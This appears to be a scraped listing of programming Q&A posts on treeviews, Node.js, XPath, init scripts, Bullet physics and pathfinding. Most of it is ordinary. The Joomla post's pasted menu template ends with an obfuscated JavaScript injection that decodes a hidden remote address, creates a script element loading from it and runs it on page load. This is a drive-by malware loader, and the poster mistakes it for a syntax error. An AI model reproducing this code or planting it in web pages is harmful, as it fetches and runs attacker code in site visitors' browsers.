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  • [.net] Treeview prevent Node collapse (weird problem)

    - by cssnoob
    Hey guyz! I have a .net 2.0 C# Project. I have a Treeview with 2 Nodes, each of them has many child nodes. When you click on a child node, a PDF is displayed in a webbrowser control depending on the properties of the node. Fine, but the problem is that when both Nodes are expanded, and I click on a child node, the other node gets collapsed! I don't have any code that collapses any node of the treeview, but somehow it happens! I also had a look at the BeforeCollapse Event, but somehow it doesn't fire, alltough the other node collapses! Can anyone imagine why this happens? I would be very grateful if anyone can teach me how to prevent this happening! Thank you very much!

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  • node.js: encrypting data that needs to be decrypted?

    - by fancy
    We are using bcrypt for passwords and data that never needs to be decrypted. What should do to protect other user information that does. For this example lets say that we didn't want a users real name to be in plain text in case someone was to obtain the db. This is somewhat sensitive data but also needs to be called from time to time and displayed in plain text. Is there a simple way to do this?

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  • How to run nodejs on linux platform

    - by rotem
    How to run node.js on host with linux platform? To run node.js on localhost with windows operation system is simple I download package from nodejs.org/download/ and I execute Windows Installer (.msi) I go to console command line and I type node file.js and everything fine. but in my host with linux platform I have control panel with no option to run type file exe, msi and there is no window with command line, So how can I be able to run nodejs on my host? I call to support of my hosting bluehost.com and they don't know. my Details server and control panel Thanks for any help

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  • nodejs daemon wrong architecture

    - by Greg Pagendam-Turner
    I'm trying to run 'dali' a highcharts exporter from nodejs on my Mac under OSX Mountain Lion I'm getting the following error: module.js:485 process.dlopen(filename, module.exports); ^ Error: dlopen(/Users/greg/node_modules/daemon/lib/daemon.v0.8.8.node, 1): no suitable image found. Did find: /Users/greg/node_modules/daemon/lib/daemon.v0.8.8.node: mach-o, but wrong architecture at Object.Module._extensions..node (module.js:485:11) at Module.load (module.js:356:32) at Function.Module._load (module.js:312:12) at Module.require (module.js:362:17) at require (module.js:378:17) at Object.<anonymous> (/Users/greg/node_modules/daemon/lib/daemon.js:12:11) at Module._compile (module.js:449:26) at Object.Module._extensions..js (module.js:467:10) at Module.load (module.js:356:32) at Function.Module._load (module.js:312:12) The key part is: "wrong architecture" If I run: lipo -info /Users/greg/node_modules/daemon/lib/daemon.v0.8.8.node It returns: Non-fat file: /Users/greg/node_modules/daemon/lib/daemon.v0.8.8.node is architecture: i386 I'm guessing a x64 version is requried. How do I get and install the 64 bit version of this lib?

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  • wxPython TreeCtrl without showing root while still showing arrows

    - by None
    I am making a python tree visualizer using wxPython. It would be used like so: show_tree([ 'A node with no children', ('A node with children', 'A child node', ('A child node with children', 'Another child')) ]) It worked fine but it shows a root with a value of "Tree". I made it so that it would create multiple roots but then learned that I wasn't allowed to do that. I reverted to the original code but used changed it from this: self.tree = wx.TreeCtrl(self) to this: self.tree = wx.TreeCtrl(self, style=wx.TR_HIDE_ROOT). It worked but it didn't show the little arrows on the side so you wouldn't know which nodes had children. Is there any way to hide the root node but keep the arrows. Note: I am on a Mac using Python version 2.5 and wxPython version 2.8.4.0.

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  • Dynamically creating astar node map by triangular polygonal map

    - by jett
    My game's map format uses a bunch of triangles to make up the platforms and terrain in 2d. Right now I can set up a 2d array of nodes for the astar algorithm that basically is a bunch of rectangles across the maps x and y that can be set to "wall" if the a* algorithm should try to go around it. However I want a function in the map loader to create the node overlay if the nodes are not specified. I was thinking if more than n percent of the a* rectangle overlaid on map was filled by polygons I could mark that entry in the array as "wall". However I'm stuck on how to do this(or even start) where/when the triangles can be overlapping and also of variable size.

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  • Drupal node access for anonymous users

    - by MrDresden
    I've never used Drupal before so this may be something that can easily be remedied, and that would be awesome. My problem is that a block, containing node information can't be viewed by anonymous users (unregisterd/not logged in), gives a "You are not authorized to access this content." message, but shows up for logged in users. The nodes that the block contains are events, so the block shows events for the next week. I've checked the users access settings but can't find anything that could possibly remedy this. I'm using drupal core 6.26, Event 6.x-2.x-dev, Event views 6.x-2.4 If anyone has any information, or solutions, I'd greatly appreciate it.

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  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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  • Help me understand Inorder Traversal without using recursion

    - by vito
    I am able to understand preorder traversal without using recursion, but I'm having a hard time with inorder traversal. I just don't seem to get it, perhaps, because I haven't understood the inner working of recursion. This is what I've tried so far: def traverseInorder(node): lifo = Lifo() lifo.push(node) while True: if node is None: break if node.left is not None: lifo.push(node.left) node = node.left continue prev = node while True: if node is None: break print node.value prev = node node = lifo.pop() node = prev if node.right is not None: lifo.push(node.right) node = node.right else: break The inner while-loop just doesn't feel right. Also, some of the elements are getting printed twice; may be I can solve this by checking if that node has been printed before, but that requires another variable, which, again, doesn't feel right. Where am I going wrong? I haven't tried postorder traversal, but I guess it's similar and I will face the same conceptual blockage there, too. Thanks for your time! P.S.: Definitions of Lifo and Node: class Node: def __init__(self, value, left=None, right=None): self.value = value self.left = left self.right = right class Lifo: def __init__(self): self.lifo = () def push(self, data): self.lifo = (data, self.lifo) def pop(self): if len(self.lifo) == 0: return None ret, self.lifo = self.lifo return ret

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  • Creating a fixed length output string with sprintf containing floats

    - by Kungi
    Hi, I'm trying to create a file which has the following structure: - Each line has 32 bytes - Each line looks like this format string: "%10i %3.7f %3.7f\n" My Problem is the following: When i have a negative floating point numbers the line gets longer by one or even two characters because the - sign does not count to the "%3.7f". Is there any way to do this more nicely than this? if( node->lng > 0 && node->lat > 0 ) { sprintf( osm_node_repr, "%10i %3.7f %3.7f\n", node->id, node->lng, node->lat ); } else if (node->lng > 0 && node->lat < 0) { sprintf( osm_node_repr, "%10i %3.7f %3.6f\n", node->id, node->lng, node->lat ); } else if (node->lng < 0 && node->lat > 0) { sprintf( osm_node_repr, "%10i %3.6f %3.7f\n", node->id, node->lng, node->lat ); } else if ( node->lng < 0 && node->lat < 0 ) { sprintf( osm_node_repr, "%10i %3.6f %3.6f\n", node->id, node->lng, node->lat ); } Thanks for your Answers, Andreas

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  • XPath select certain amount of levels only

    - by Psytronic
    If I have an xml structure like this <root <sub <node / <node / </sub <sub <node / <sub <sub <sub <node / </sub </sub <sub <sub <sub <node / </sub <node / </sub </sub <node / <node / </root Is there an xpath syntax which will only select the first three levels of nodes? so it will collect <root <sub <node / <node / </sub <sub / <sub <sub / </sub <sub <sub / </sub <node / <node / </root Thanks, Psy

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  • init.d service died

    - by jerluc
    Adapting some code from a linux forum, I've added a service script to /etc/init.d on my ubuntu natty server to start/stop/restart node.js It literally was working the first day I made it, but then today, after viewing my website this morning, the server threw a 404, and upon further inspection, the node.js process was gone. So I went to start the service again, only this time, node.js didn't start at all, and ever since I haven't been able to get my service script working. Below is the entire script: #!/bin/sh # # Node Server Startup # case "$1" in start) echo -n "Starting node: " daemon node /usr/local/www/server.js echo touch /var/lock/subsys/node ;; stop) echo -n "Shutting down node: " killall node echo rm -f /var/lock/subsys/node rm -f /var/run/node.pid ;; status) status node ;; restart) $0 stop $0 start ;; reload) echo -n "Reloading node: " killall node -HUP echo ;; *) echo "Usage: $0 {start|stop|restart|reload|status}" exit 1 esac exit 0 Thanks for any help!

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  • Change xml attribute in foreach statement c#

    - by user1913479
    I need to save XML-attribute value in a database, using information if checkbox is checked. If checkbox is checked, the attribute value is "TRUE", otherwise it's false. When I use foreach statement, the last enumerated value is usually assigned. Here is the part of my code: XmlAttribute xmlAttribute = xmlDoc.CreateAttribute("BooleanValue"); foreach (string value in list) //list is a List<object> { XmlNode xmlNode = xmlDoc.CreateNode(XmlNodeType.Element, "VALUE", ""); if (checkBox1.Checked || checkBox2.Checked || checkBox3.Checked) xmlAttribute.Value = "TRUE"; if (!checkBox1.Checked || !checkBox2.Checked || !checkBox3.Checked) xmlAttribute.Value = "FALSE"; xmlNode.Attributes.Append(xmlAttribute); xmlNode.InnerText = val; childNode.AppendChild(xmlNode); } When I run my application, I get an XML attribute xmlAttribute "FALSE" value anyway. What I need to have: I need to have the following XML: <ROOT><NODE><VALUE ATTRIBUTE="TRUE">Value 1</VALUE></NODE> <NODE><VALUE ATTRIBUTE="TRUE">Value 2</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 3</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 4</VALUE></NODE> <NODE><VALUE ATTRIBUTE="TRUE">Value 5</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 6</VALUE></NODE> </ROOT> What I actually get: <ROOT><NODE><VALUE ATTRIBUTE="FALSE">Value 1</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 2</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 3</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 4</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 5</VALUE></NODE> <NODE><VALUE ATTRIBUTE="FALSE">Value 6</VALUE></NODE> </ROOT> Because in C# FALSE value is stayed at last position in foreach loop The question is: how do I do to assign the correct values of my attribute. Thanks

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  • Ogre 3d and bullet physics interaction

    - by Tim
    I have been playing around with Ogre3d and trying to integrate bullet physics. I have previously somewhat successfully got this functionality working with irrlicht and bullet and I am trying to base this on what I had done there, but modifying it to fit with Ogre. It is working but not correctly and I would like some help to understand what it is I am doing wrong. I have a state system and when I enter the "gamestate" I call some functions such as setting up a basic scene, creating the physics simulation. I am doing that as follows. void GameState::enter() { ... // Setup Physics btBroadphaseInterface *BroadPhase = new btAxisSweep3(btVector3(-1000,-1000,-1000), btVector3(1000,1000,1000)); btDefaultCollisionConfiguration *CollisionConfiguration = new btDefaultCollisionConfiguration(); btCollisionDispatcher *Dispatcher = new btCollisionDispatcher(CollisionConfiguration); btSequentialImpulseConstraintSolver *Solver = new btSequentialImpulseConstraintSolver(); World = new btDiscreteDynamicsWorld(Dispatcher, BroadPhase, Solver, CollisionConfiguration); ... createScene(); } In the createScene method I add a light and try to setup a "ground" plane to act as the ground for things to collide with.. as follows. I expect there is issues with this as I get objects colliding with the ground but half way through it and they glitch around like crazy on collision. void GameState::createScene() { m_pSceneMgr->createLight("Light")->setPosition(75,75,75); // Physics // As a test we want a floor plane for things to collide with Ogre::Entity *ent; Ogre::Plane p; p.normal = Ogre::Vector3(0,1,0); p.d = 0; Ogre::MeshManager::getSingleton().createPlane( "FloorPlane", Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME, p, 200000, 200000, 20, 20, true, 1, 9000,9000,Ogre::Vector3::UNIT_Z); ent = m_pSceneMgr->createEntity("floor", "FloorPlane"); ent->setMaterialName("Test/Floor"); Ogre::SceneNode *node = m_pSceneMgr->getRootSceneNode()->createChildSceneNode(); node->attachObject(ent); btTransform Transform; Transform.setIdentity(); Transform.setOrigin(btVector3(0,1,0)); // Give it to the motion state btDefaultMotionState *MotionState = new btDefaultMotionState(Transform); btCollisionShape *Shape = new btStaticPlaneShape(btVector3(0,1,0),0); // Add Mass btVector3 LocalInertia; Shape->calculateLocalInertia(0, LocalInertia); // CReate the rigid body object btRigidBody *RigidBody = new btRigidBody(0, MotionState, Shape, LocalInertia); // Store a pointer to the Ogre Node so we can update it later RigidBody->setUserPointer((void *) (node)); // Add it to the physics world World->addRigidBody(RigidBody); Objects.push_back(RigidBody); m_pNumEntities++; // End Physics } I then have a method to create a cube and give it rigid body physics properties. I know there will be errors here as I get the items colliding with the ground but not with each other properly. So I would appreciate some input on what I am doing wrong. void GameState::CreateBox(const btVector3 &TPosition, const btVector3 &TScale, btScalar TMass) { Ogre::Vector3 size = Ogre::Vector3::ZERO; Ogre::Vector3 pos = Ogre::Vector3::ZERO; Ogre::Vector3 scale = Ogre::Vector3::ZERO; pos.x = TPosition.getX(); pos.y = TPosition.getY(); pos.z = TPosition.getZ(); scale.x = TScale.getX(); scale.y = TScale.getY(); scale.z = TScale.getZ(); Ogre::Entity *entity = m_pSceneMgr->createEntity( "Box" + Ogre::StringConverter::toString(m_pNumEntities), "cube.mesh"); entity->setCastShadows(true); Ogre::AxisAlignedBox boundingB = entity->getBoundingBox(); size = boundingB.getSize(); //size /= 2.0f; // Only the half needed? //size *= 0.96f; // Bullet margin is a bit bigger so we need a smaller size entity->setMaterialName("Test/Cube"); Ogre::SceneNode *node = m_pSceneMgr->getRootSceneNode()->createChildSceneNode(); node->attachObject(entity); node->setPosition(pos); //node->scale(scale); // Physics btTransform Transform; Transform.setIdentity(); Transform.setOrigin(TPosition); // Give it to the motion state btDefaultMotionState *MotionState = new btDefaultMotionState(Transform); btVector3 HalfExtents(TScale.getX()*0.5f,TScale.getY()*0.5f,TScale.getZ()*0.5f); btCollisionShape *Shape = new btBoxShape(HalfExtents); // Add Mass btVector3 LocalInertia; Shape->calculateLocalInertia(TMass, LocalInertia); // CReate the rigid body object btRigidBody *RigidBody = new btRigidBody(TMass, MotionState, Shape, LocalInertia); // Store a pointer to the Ogre Node so we can update it later RigidBody->setUserPointer((void *) (node)); // Add it to the physics world World->addRigidBody(RigidBody); Objects.push_back(RigidBody); m_pNumEntities++; } Then in the GameState::update() method which which runs every frame to handle input and render etc I call an UpdatePhysics method to update the physics simulation. void GameState::UpdatePhysics(unsigned int TDeltaTime) { World->stepSimulation(TDeltaTime * 0.001f, 60); btRigidBody *TObject; for(std::vector<btRigidBody *>::iterator it = Objects.begin(); it != Objects.end(); ++it) { // Update renderer Ogre::SceneNode *node = static_cast<Ogre::SceneNode *>((*it)->getUserPointer()); TObject = *it; // Set position btVector3 Point = TObject->getCenterOfMassPosition(); node->setPosition(Ogre::Vector3((float)Point[0], (float)Point[1], (float)Point[2])); // set rotation btVector3 EulerRotation; QuaternionToEuler(TObject->getOrientation(), EulerRotation); node->setOrientation(1,(Ogre::Real)EulerRotation[0], (Ogre::Real)EulerRotation[1], (Ogre::Real)EulerRotation[2]); //node->rotate(Ogre::Vector3(EulerRotation[0], EulerRotation[1], EulerRotation[2])); } } void GameState::QuaternionToEuler(const btQuaternion &TQuat, btVector3 &TEuler) { btScalar W = TQuat.getW(); btScalar X = TQuat.getX(); btScalar Y = TQuat.getY(); btScalar Z = TQuat.getZ(); float WSquared = W * W; float XSquared = X * X; float YSquared = Y * Y; float ZSquared = Z * Z; TEuler.setX(atan2f(2.0f * (Y * Z + X * W), -XSquared - YSquared + ZSquared + WSquared)); TEuler.setY(asinf(-2.0f * (X * Z - Y * W))); TEuler.setZ(atan2f(2.0f * (X * Y + Z * W), XSquared - YSquared - ZSquared + WSquared)); TEuler *= RADTODEG; } I seem to have issues with the cubes not colliding with each other and colliding strangely with the ground. I have tried to capture the effect with the attached image. I would appreciate any help in understanding what I have done wrong. Thanks. EDIT : Solution The following code shows the changes I made to get accurate physics. void GameState::createScene() { m_pSceneMgr->createLight("Light")->setPosition(75,75,75); // Physics // As a test we want a floor plane for things to collide with Ogre::Entity *ent; Ogre::Plane p; p.normal = Ogre::Vector3(0,1,0); p.d = 0; Ogre::MeshManager::getSingleton().createPlane( "FloorPlane", Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME, p, 200000, 200000, 20, 20, true, 1, 9000,9000,Ogre::Vector3::UNIT_Z); ent = m_pSceneMgr->createEntity("floor", "FloorPlane"); ent->setMaterialName("Test/Floor"); Ogre::SceneNode *node = m_pSceneMgr->getRootSceneNode()->createChildSceneNode(); node->attachObject(ent); btTransform Transform; Transform.setIdentity(); // Fixed the transform vector here for y back to 0 to stop the objects sinking into the ground. Transform.setOrigin(btVector3(0,0,0)); // Give it to the motion state btDefaultMotionState *MotionState = new btDefaultMotionState(Transform); btCollisionShape *Shape = new btStaticPlaneShape(btVector3(0,1,0),0); // Add Mass btVector3 LocalInertia; Shape->calculateLocalInertia(0, LocalInertia); // CReate the rigid body object btRigidBody *RigidBody = new btRigidBody(0, MotionState, Shape, LocalInertia); // Store a pointer to the Ogre Node so we can update it later RigidBody->setUserPointer((void *) (node)); // Add it to the physics world World->addRigidBody(RigidBody); Objects.push_back(RigidBody); m_pNumEntities++; // End Physics } void GameState::CreateBox(const btVector3 &TPosition, const btVector3 &TScale, btScalar TMass) { Ogre::Vector3 size = Ogre::Vector3::ZERO; Ogre::Vector3 pos = Ogre::Vector3::ZERO; Ogre::Vector3 scale = Ogre::Vector3::ZERO; pos.x = TPosition.getX(); pos.y = TPosition.getY(); pos.z = TPosition.getZ(); scale.x = TScale.getX(); scale.y = TScale.getY(); scale.z = TScale.getZ(); Ogre::Entity *entity = m_pSceneMgr->createEntity( "Box" + Ogre::StringConverter::toString(m_pNumEntities), "cube.mesh"); entity->setCastShadows(true); Ogre::AxisAlignedBox boundingB = entity->getBoundingBox(); // The ogre bounding box is slightly bigger so I am reducing it for // use with the rigid body. size = boundingB.getSize()*0.95f; entity->setMaterialName("Test/Cube"); Ogre::SceneNode *node = m_pSceneMgr->getRootSceneNode()->createChildSceneNode(); node->attachObject(entity); node->setPosition(pos); node->showBoundingBox(true); //node->scale(scale); // Physics btTransform Transform; Transform.setIdentity(); Transform.setOrigin(TPosition); // Give it to the motion state btDefaultMotionState *MotionState = new btDefaultMotionState(Transform); // I got the size of the bounding box above but wasn't using it to set // the size for the rigid body. This now does. btVector3 HalfExtents(size.x*0.5f,size.y*0.5f,size.z*0.5f); btCollisionShape *Shape = new btBoxShape(HalfExtents); // Add Mass btVector3 LocalInertia; Shape->calculateLocalInertia(TMass, LocalInertia); // CReate the rigid body object btRigidBody *RigidBody = new btRigidBody(TMass, MotionState, Shape, LocalInertia); // Store a pointer to the Ogre Node so we can update it later RigidBody->setUserPointer((void *) (node)); // Add it to the physics world World->addRigidBody(RigidBody); Objects.push_back(RigidBody); m_pNumEntities++; } void GameState::UpdatePhysics(unsigned int TDeltaTime) { World->stepSimulation(TDeltaTime * 0.001f, 60); btRigidBody *TObject; for(std::vector<btRigidBody *>::iterator it = Objects.begin(); it != Objects.end(); ++it) { // Update renderer Ogre::SceneNode *node = static_cast<Ogre::SceneNode *>((*it)->getUserPointer()); TObject = *it; // Set position btVector3 Point = TObject->getCenterOfMassPosition(); node->setPosition(Ogre::Vector3((float)Point[0], (float)Point[1], (float)Point[2])); // Convert the bullet Quaternion to an Ogre quaternion btQuaternion btq = TObject->getOrientation(); Ogre::Quaternion quart = Ogre::Quaternion(btq.w(),btq.x(),btq.y(),btq.z()); // use the quaternion with setOrientation node->setOrientation(quart); } } The QuaternionToEuler function isn't needed so that was removed from code and header files. The objects now collide with the ground and each other appropriately.

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  • More FlipBoard Magazines: Azure, XAML, ASP.NET MVC & Web API

    - by dwahlin
    In a previous post I introduced two new FlipBoard magazines that I put together including The AngularJS Magazine and The JavaScript & HTML5 Magazine. FlipBoard magazines provide a great way to keep content organized using a magazine-style format as opposed to trudging through multiple unorganized bookmarks or boring pages full of links. I think they’re really fun to read through as well. Based on feedback and the surprising popularity of the first two magazines I’ve decided to create some additional magazines on topics I like such as The Azure Magazine, The XAML Magazine and The ASP.NET MVC & Web API Magazine. Click on a cover below to get to the magazines using your browser. To subscribe to a given magazine you’ll need to create a FlipBoard account (not required to read the magazines though) which requires an iOS or Android device (the Windows Phone 8 app is coming soon they say). If you have a post or article that you think would be a good fit for any of the magazines please tweet the link to @DanWahlin and I’ll add it to my queue to review. I plan to be pretty strict about keeping articles “on topic” and focused.   The Azure Magazine   The XAML Magazine   The ASP.NET MVC & Web API Magazine   The AngularJS Magazine   The JavaScript & HTML5 Magazine

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  • The importance of Design Patterns with Javascript, NodeJs et al

    - by Lewis
    With Javascript appearing to be the ubiquitous programming language of the web over the next few years, new frameworks popping up every five minutes and event driven programming taking a lead both server and client side: Do you as a Javascript developer consider the traditional Design Patterns as important or less important than they have been with other languages / environments?. Please name the top three design patterns you, as a Javascript developer use regularly and give an example of how they have helped in your Javascript development.

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  • How can I better implement A star algorithm with a very large set of nodes?

    - by Stephen
    I'm making a game with nodejs in which many enemies must converge on the player as the player moves around a relatively open space (right now it is an open field with few obstacles, but eventually there may be some small buildings in the field with 1 or 2 rooms). It's a multiplayer game using websockets, so the server needs to keep track of enemies and players. I found this javascript A* library which I've modified to be used on the server as a nodejs module. The library utilizes a Binary Heap to track the nodes for the algorithm, so it should be pretty fast (and indeed, with a small grid, say 100x100 it is lightning fast). The problem is that my game is not really tile-based. As the player moves around the map, he is moving on a more or less 1-to-1 per-pixel coordinate system (the player can move in 8 directions, 1 or 2 pixels at a time). In preliminary tests, on an 800x600 field, the path-finding can take anywhere from 400 to 1000 ms. Multiply that by 10 enemies and the game starts to get pretty choppy. I have already set it up so that each enemy will only do a path-finding call once per second or even as slow as once every 2 seconds (they have to keep updating their path because the players can move freely). But even with this long interval, there are noticeable lag spikes or chops every couple of seconds as the enemies update their paths. I'm willing to approach the problem of path-finding differently, if there's another option. I'm assuming that the real problem is the enormous grid (800x600). It also occurs to me that maybe the large arrays are to blame, as I've read that V8 has trouble with large arrays.

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  • Nginx routing script for NodeJS and Wordpress

    - by Nilay Parikh
    We are moving blogs and site from wordpress to nodejs and ready to move into production. However I'm not able to figure it out how to implement routing from front server (Nginx) to NodeJS (prefered web instance) and if data not synced yet into NodeJS website than (404 will throw by NodeJS) fall back to (using reverse proxy) to Wordpress and serve page, during the transformation period. Q1. Is the approach good for the scenario, or anyone can suggest better approach? Q2. Should NodeJS treat itself as Reverse proxy (using bouncy : https://github.com/substack/bouncy or similar package) in event of fall back or shoud stick with Nginx to do so using fastcgi approch. Both NodeJS and Wordpress are on single server only, In first scenario, /if resource available than serve directly User -> Nginx -> NodeJS (8080) \if resource not available then reverse query wordpress and serve content second scenario, /if resource available than serve directly User -> Nginx -> NodeJS (8080) \if resource not available then 404 to Nginx and Nginx script fallback to Wordpress (FastCGI PHP) Later we have plan to phase out Wordpress and PHP from the server environment completely. I'd like to see any examples of Nginx or Varnish scripts and/or NodeJS scripts if you have for me to refer. Thanks.

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  • Programmatically syncing with remote servers

    - by Joseph
    My application generates text files that need to be synced with remote servers, which may be windows or linux. Sync has to happen without user's intervention. I tried with rsync but windows doesn't come with rsync by default. Also it is not possible to supply password in the command line for rsync. Currently I'm going with ftp. But that seems like an inefficient way. Is there a way to rsync without user intervention? What are the ways to sync with a remote server programmatically? App is on nodejs.

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  • Physics Loop in a NodeJS/Socket.IO Environment

    - by Thomas Mosey
    I'm developing a 2D HTML5 Canvas Game, and I am trying to think of the most efficient way to implement a Physics Loop on the server-end of things, running NodeJS and Socket.IO. The only method I've thought of is using setTimeout/Interval, is there any better way? Any examples would be appreciated. EDIT: The Game is a top-down Game, like Zelda and older Pokemon Games. Most of the physics done in the loop will be simple intersects.

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  • OOP implementation of BUFFS and Stats. Suggestion

    - by Mattia Manzo Manzati
    I am developing an MMORPG server using NodeJS. I am not sure how to implement Buffs, i mean, equipped objects or used skills have effects on the Player() which has many Stats(), some of them have a max cap... Effects can change the Stat value, increasing or decreasing it by a value, a percentage or completly rewrite the value of the stat. After a while I have decided to create a base class for buffs, which can be hidden (if they are casted from an equipped object) or shown if they came from an ability (Spell). Anyway I need suggestion how to implement it, use an array for all active buffs for a stat and have a function calculate the value of the stat affected by buffs each time I need the value of the stat or...? Other more OOP's ways to do it? I have read this What's a way to implement a flexible buff/debuff system? but this implements only a percentage system, which buffs can only say "+10%, +20%, etc...", but I would love to have an hybrid system, which can have percentage values or static values (like WoW does), and using modifiers it's hard to implement, because modifiers refers to the current value of stat :/ Thanks for suggestions :)

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  • Can various browsers be assumed to maintain predictible state accurately in multiplayer online gaming?

    - by Nikos
    With many games it is said that server will assume that clients keep track of the world accurately. Assuming this is true, for a browser based multiplier space invaders game you would only tell the client when new bullets or the players ship moves and everything that behaves in a predetermined manner in the js client. It would be expected that positions would be the same in the browsers. Do you think you could trust browsers to do this? I feel that timings could differ between rendering loops and cause positions to get out of sync and might just get the server to maintain all the positions to make sure.

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  • arrays format (Javascript)

    - by João Melo
    i have a list of users, with minions, something like this: User52: minion10 minion12 User32: minion13 minion11 i've been keeping in an array where the "location" is the id, like this: Users: [52]User minions: [10]minion [12]minion [32]User minions: [13]minion [11]minion so i can access them easily like this: user[UserID].minions[MinionID] (ex: user[32].minions[11]) but when i print it or send it by json i get something like this: {,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,minion,,,,,,,,,,,,,,minion} but should i keep using like this or should i change to something like this: User = function(){ this.minions = ...; this.getMinion = function(value){ for(var m in this.minions){ if(this.minions[m].id == value){ return this.minions[m]; break; } } } } and get it like this: user.getMinion(MinionID); Question: i get better performance using a "short" array but using loops every time i need a minion, or using "long" arrays, but no need for loop and getting values directly from the id "name"?

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  • JSON: How do I alert the name of the first node in level 1 in this code snippet?

    - by user143805
    var response = "{\"tree\":[{\"level1\":[{\"node\":{\"id\": 1,\"name\": \"paradox\",\"parent\": 0}}]},{\"level2\":[{\"node\":{\"id\": 2,\"name\": \"lucent\",\"parent\": 1}},{\"node\":{\"id\": 3,\"name\": \"reiso\",\"parent\": 1}}]},{\"level3\":[{\"node\":{\"id\": 4,\"name\": \"pessi\",\"parent\": 3}},{\"node\":{\"id\": 5,\"name\": \"misho\",\"parent\": 2}}]},{\"level4\":[{\"node\":{\"id\": 6,\"name\": \"hema\",\"parent\": 5}},{\"node\":{\"id\": 7,\"name\": \"iiyo\",\"parent\": 4}}]}]}"; var data = eval("(" + response + ")"); This is a dummy json response I am currently testing. Now how do I get the value of "name" in the 1st node of "level1" from the "tree"? Thanks

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